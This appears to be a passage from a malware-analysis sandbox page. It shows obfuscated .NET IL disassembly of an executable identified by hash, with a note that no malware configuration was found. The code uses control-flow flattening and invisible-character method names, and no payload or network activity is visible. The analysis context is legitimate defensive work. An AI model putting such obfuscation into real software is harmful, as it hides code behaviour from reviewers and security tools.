call System.String <Module>::​‌‮‌‫‪‬‭‍​‮‮‎‪‏‫‮‭‪‎‏‌‮<System.String>(System.Int32)
call System.String System.String::Concat(System.String,System.String)
stloc.s V_9
nop <null>
ldc.i4 493977260
br IL_018A: ldc.i4 1774917458
leave.s IL_0604: nop
pop <null>
ldc.i4 1188027649
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.4 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0602: leave.s IL_0604
nop <null>
ldloc.s V_15
ldc.i4 1755611966
mul <null>
ldc.i4 1245543209
xor <null>
br.s IL_05BE: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 1793389899
mul <null>
ldc.i4 -1075644401
xor <null>
br.s IL_05BE: ldc.i4 1774917458
leave.s IL_0604: nop
nop <null>
ldc.i4 940295791
ldc.i4 1774917458
xor <null>
dup <null>
stloc.s V_15
ldc.i4.4 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0652: nop
call System.Void iPhNAcvVBwLJVhyosZdIHLoVeBSG::TtmBjZYWgdQtntFlRiRBzhYQyQDJ()
ldloc.s V_15
ldc.i4 83935183
mul <null>
ldc.i4 1557619273
xor <null>
br.s IL_060A: ldc.i4 1774917458
nop <null>
ldloc.s V_15
ldc.i4 767272156
mul <null>
ldc.i4 49291169
xor <null>
br.s IL_060A: ldc.i4 1774917458
nop <null>
ret <null>

6 files
EXEd69a7974e45db534b5dfc9b785f8ce0f
Structure
No malware configuration was found at this point.
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙